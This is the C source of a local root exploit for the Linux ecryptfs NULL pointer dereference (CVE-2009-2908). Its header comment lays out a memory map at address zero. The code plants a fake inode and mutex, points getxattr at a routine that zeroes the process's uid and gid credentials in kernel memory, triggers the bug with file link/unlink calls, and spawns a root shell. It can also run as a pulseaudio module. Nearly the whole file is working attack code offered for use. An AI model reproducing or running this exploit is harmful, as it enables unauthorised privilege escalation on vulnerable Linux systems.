/*
 * Exploit for the ecryptfs lower dentry null pointer
 * dereference (CVE-2009-2908).
 *
 * By Fotis Loukos <fotis (at) gmail (dot) com
 * Acknowledgements to Brad Spender <spender (at) grsecurity (dot) net>
 * and his great enlightenment framework. You can port this exploit
 * so it uses the extra features it provides such as disabling of
 * selinux, apparmor, etc.
 *
 *
 * We need to create an inode struct for d_inode which has at least two
 * members filled in correctly, i_op that points to a inode_operations
 * structure and i_mutex which is a mutex. In addition, i_op->getxattr
 * must point to the code we are going to execute. Since the offset of
 * getxattr is different from the other two we can put our inode_operations
 * struct at address 0 too. We make an initialized mutex at address 0x78,
 * and we put the pointer to the thread_info struct after this mutex, at
 * address 0x88.
 *
 * At ecryptfs_getxattr_lower we have guaranteed that
 * lower_dentry->d_inode->i_op->getxattr exists. The mutex_lock will
 * succeed since we created and initialized the mutex at
 * lower_dentry->d_inode->i_mutex and then our code will be executed.
 * The mutex_unlock will of course work so we're done!
 *
 * The final memory map is the following
 *
 * |              |
 * |              |
 * |     0x9c     | d_inode->i_op = 0x0, see location 0x44
 * |              |
 * |              |
 * |     0x88     | mutex->owner
 * |              |
 * |              |
 * |     0x78     | d_inode->i_mutex = muxtex for the mutex_lock_call
 * |              |
 * |              |
 * |     0x44     | d_inode->i_op->getxattr will point to the code
 * |              |
 * |              |
 * |-----NULL-----|
 *
 *
 * VERSION 2.0 notes:
 * I made an error at the first version! The exploit would still work but
 * the mutex wasn't initialized correctly!
 */
#include <stdio.h>
#include <stdlib.h>
#define __USE_GNU
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/personality.h>

#define INODE_MUTEX_OFF         0x78
#define INODE_IOP_OFF           0x9c
#define INODEOPS_GETXATTR_OFF   0x44

#define TASK_RUNNING 0

struct list_head {
    struct list_head *next, *prev;
};

struct mymutex {
    int count;
    unsigned int wait_lock;
    struct list_head wait_list;
    /* No, I won't define a thread_info struct here */
    void *owner;
};

static int uid, gid, stacksize, frommain;

/*
 * Since ecryptfs appeared in 2.6.19 there is no need to support 2.4 stuff,
 * such as the task_struct being at the end of the kernel stack.
 */
static inline unsigned long get_current()
{
    unsigned long current;

    /* We begin by checking for a 4k stack */
    current = (unsigned long) &current;
    current = *(unsigned long *)(current & ~(0x1000 - 1));
    stacksize = 0x1000;

    if((current >= 0xc0000000) && (*(unsigned long *)current == TASK_RUNNING))
        return current;

    /* It's probably 8k */
    current = (unsigned long) &current;
    current = *(unsigned long *)(current & ~(0x2000 - 1));
    stacksize = 0x2000;

    if((current >= 0xc0000000) && (*(unsigned long *)current == TASK_RUNNING))
        return current;

    /* It's... shit */
    return 0;
}

/*
 * This will be run by the kernel.
 */
static ssize_t getroot()
{
    unsigned long *current, *real_cred, *cred;
    int i, j;

    if(!(current = (unsigned long *) get_current()))
        return 0;

    /* The following should work till 2.6.28.10 since 2.6.29 uses COW */
    for(i = 0; i < stacksize; i++) {
        if((current[0] == uid) && (current[1] == uid) &&
                (current[2] == uid) && (current[3] == uid) &&
                (current[4] == gid) && (current[5] == gid) &&
                (current[6] == gid) && (current[7] == gid)) {
            current[0] = current[1] = current[2] = current[3] = 0;
            current[4] = current[5] = current[6] = current[7] = 0;
            return 0;
        }
        current++;
    }

    current = (unsigned long *) get_current();

    /* COW creds on  kernel ver >= 2.6.29 */
    real_cred = cred = NULL;
    for(i = 0; i < stacksize - 16; i++) {
        if(((frommain == 1) && (!memcmp((char *) current, "paokara", 7))) ||
                ((frommain == 0) && (!memcmp((char *) current,
                "pulseaudio", 10)))) {
            /*
             * Found comm, we must go back, search for the mutex and then
             * back again for the cred structs.
             */
            for(j = 0; j < stacksize - i - 12; j++) {
                if(*(unsigned int *)current == 1) {
                    real_cred = *((unsigned long **) current - 3);
                    cred = *((unsigned long **) current - 2);
                    break;
                }
                current--;
            }
            break;
        }
        current++;
    }

    if(real_cred) {
        /* Skip counter */
        real_cred++;
        cred++;

        if((real_cred[0] == uid) && (real_cred[1] == gid) &&
                (real_cred[2] == uid) && (real_cred[3] == gid) &&
                (real_cred[4] == uid) && (real_cred[5] == gid) &&
                (real_cred[6] == uid) && (real_cred[7] == gid)) {
            real_cred[0] = real_cred[1] = real_cred[2] = real_cred[3] = 0;
            real_cred[4] = real_cred[5] = real_cred[6] = real_cred[7] = 0;
        }

        if((cred[0] == uid) && (cred[1] == gid) &&
                (cred[2] == uid) && (cred[3] == gid) &&
                (cred[4] == uid) && (cred[5] == gid) &&
                (cred[6] == uid) && (cred[7] == gid)) {
            cred[0] = cred[1] = cred[2] = cred[3] = 0;
            cred[4] = cred[5] = cred[6] = cred[7] = 0;
        }
    }

    return 0;
}

/*
 * Go go go!
 */
void trigger(char *path)
{
    char buf1[128], buf2[128];
    int fd;

    snprintf(buf1, 128, "%s/lala", path);
    snprintf(buf2, 128, "%s/koko", path);

    if(open(buf1, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600) < 0)
        return;
    link(buf1, buf2);
    unlink(buf1);
    if((fd = open(buf2, O_RDWR | O_CREAT | O_NOFOLLOW, 0600)) < 0)
        return;
    unlink(buf2);
    write(fd, "kot!", 4);
}

/*
 * We run it here so it works both when run from command line and using
 * pulseaudio.
 */
int runexploit(char *path)
{
    struct mymutex *mutex;

    /* The personality trick */
    if(personality(0xffffffff) == PER_SVR4) {
        if(mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) {
            perror("mprotect");
            exit(1);
        }
    } else if(mmap(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED |
                MAP_ANONYMOUS | MAP_PRIVATE, 0, 0) == MAP_FAILED) {
        perror("mmap");
        exit(1);
    }

    uid = getuid();
    gid = getgid();

    /* Set up everything here */
    *(unsigned long *) INODE_IOP_OFF = 0x0;
    *(unsigned long *) INODEOPS_GETXATTR_OFF = (unsigned long) getroot;

    mutex = (struct mymutex *) INODE_MUTEX_OFF;
    mutex->count = 1;
    mutex->wait_lock = 0;
    mutex->wait_list.prev = &mutex->wait_list;
    mutex->wait_list.next = &mutex->wait_list;
    mutex->owner = (void *) (INODE_MUTEX_OFF + 0x10);

    trigger(path);

    execl("/bin/sh", "sh", NULL);
}

/*
 * It works from pulseaudio
 */
int pa__init(void *m)
{
    char *path = getenv("XPL_PATH");

    if(path == NULL) {
        printf("Error: XPL_PATH env variable doesn't contain a path.\n");
        exit(1);
    }

    runexploit(path);
}

void pa__done(void *m)
{
}

/*
 * And as standalone
 */
int main(int argc, char **argv)
{
    if(argc != 2) {
        printf("Usage: %s <path>\n", argv[0]);
        exit(1);
    }

    frommain = 1;
    runexploit(argv[1]);
}
